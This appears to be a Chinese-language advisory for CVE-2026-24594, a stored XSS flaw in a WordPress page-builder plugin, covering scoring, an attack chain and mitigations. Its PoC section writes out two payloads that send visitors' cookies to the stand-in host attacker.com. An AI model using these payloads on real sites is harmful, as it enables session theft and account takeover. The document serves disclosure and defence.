CVE-2026-24594 Livemesh WPBakery插件存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2026-24594

漏洞类型

存储型跨站脚本攻击（Stored XSS）

CVSS评分

5.9 中危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

需要交互 (UI:R)

影响产品

Livemesh Addons for WPBakery Page Builder (addons-for-visual-composer)

漏洞概述

CVE-2026-24594是WordPress插件Livemesh Addons for WPBakery Page Builder中的一个存储型跨站脚本（Stored XSS）安全漏洞。该漏洞存在于插件的多个功能模块中，攻击者可以利用此漏洞在受害者的网页中注入恶意JavaScript代码。由于是存储型XSS，恶意脚本会被永久保存在服务器端，所有访问包含恶意内容页面的用户都会受到攻击。漏洞影响版本从插件早期版本直至3.9.4版本。由于该插件被广泛用于WordPress网站构建页面，因此受影响的网站数量可能非常庞大。攻击者需要具有高权限（如管理员或编辑权限）才能利用此漏洞，但一旦成功，可以在受害者浏览器中执行任意JavaScript代码，窃取会话Cookie、劫持用户账户或进行钓鱼攻击。此漏洞由Patchstack安全团队于2026年1月发现并报告，CVSS 3.1评分5.9，属于中等严重程度。

技术细节

该存储型XSS漏洞源于Livemesh Addons插件在处理用户输入时未能正确对特殊字符进行HTML转义。攻击者可以在插件的特定功能模块（如团队成员展示、客户Logo展示、定价表格等）中注入包含JavaScript代码的恶意payload。当这些数据被存储到数据库并在后续页面中渲染时，未经转义的恶意代码会被浏览器执行。攻击利用条件包括：1）攻击者需要拥有WordPress站点的高权限账户（管理员、编辑或作者角色）；2）需要通过插件的输入接口提交恶意payload；3）payload会被永久存储在数据库中；4）当其他用户访问包含恶意内容的页面时，JavaScript代码会在其浏览器上下文中执行。攻击者通常利用此漏洞窃取管理员的认证Cookie，从而接管整个WordPress站点。由于攻击涉及用户交互（UI:R），攻击者可能通过社会工程学手段诱导管理员访问特定页面。

攻击链分析

STEP 1

信息收集

攻击者识别目标网站是否使用Livemesh Addons for WPBakery Page Builder插件及其版本

STEP 2

权限获取

攻击者获取WordPress站点的高权限账户（管理员、编辑或作者），可通过凭证填充、暴力破解或社会工程学手段

STEP 3

恶意代码注入

通过插件的前端提交接口或后端编辑界面，在插件的输入字段中注入包含恶意JavaScript代码的payload

STEP 4

数据持久化

恶意payload被保存到数据库中，作为页面内容的一部分，实现持久化存储

STEP 5

触发执行

当其他用户（尤其是管理员）访问包含恶意内容的页面时，浏览器解析并执行注入的JavaScript代码

STEP 6

攻击成功

恶意脚本执行后，可窃取用户会话Cookie、劫持账户、执行任意操作或进一步渗透系统

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

// CVE-2026-24594 Stored XSS PoC
// Target: Livemesh Addons for WPBakery Page Builder <= 3.9.4

// 恶意payload示例 - 注入到插件的输入字段中
const xssPayload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>';

// 攻击步骤：
// 1. 登录WordPress后台（需要高权限账户）
// 2. 编辑使用Livemesh插件创建的页面或帖子
// 3. 在插件的输入字段中注入XSS payload
// 4. 保存并发布内容
// 5. 当其他用户访问该页面时，恶意脚本将执行

// 示例：通过REST API或表单提交恶意数据
const exploitData = {
    action: 'save_post',
    post_id: 123,
    livemesh_field: '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">'
};

// 防御建议：
// - 升级到插件最新版本
// - 对所有用户输入进行严格的HTML转义
// - 使用Content Security Policy (CSP)
// - 实施输入验证和输出编码

影响范围

Livemesh Addons for WPBakery Page Builder <= 3.9.4

addons-for-visual-composer <= 3.9.4

防御指南

临时缓解措施

在无法立即升级插件的情况下，可采取以下临时缓解措施：1）限制WordPress用户注册和权限分配，仅授予必要的高权限账户；2）临时禁用或限制Livemesh插件中涉及用户输入的功能模块；3）部署Web应用防火墙规则过滤潜在的XSS攻击payload；4）增强WordPress站点的安全配置，包括强密码要求、会话超时设置等；5）密切监控网站访问日志，关注异常的JavaScript执行和网络请求；6）考虑使用专业的WordPress安全插件提供额外的防护层；7）如果业务允许，可临时切换到其他页面构建解决方案。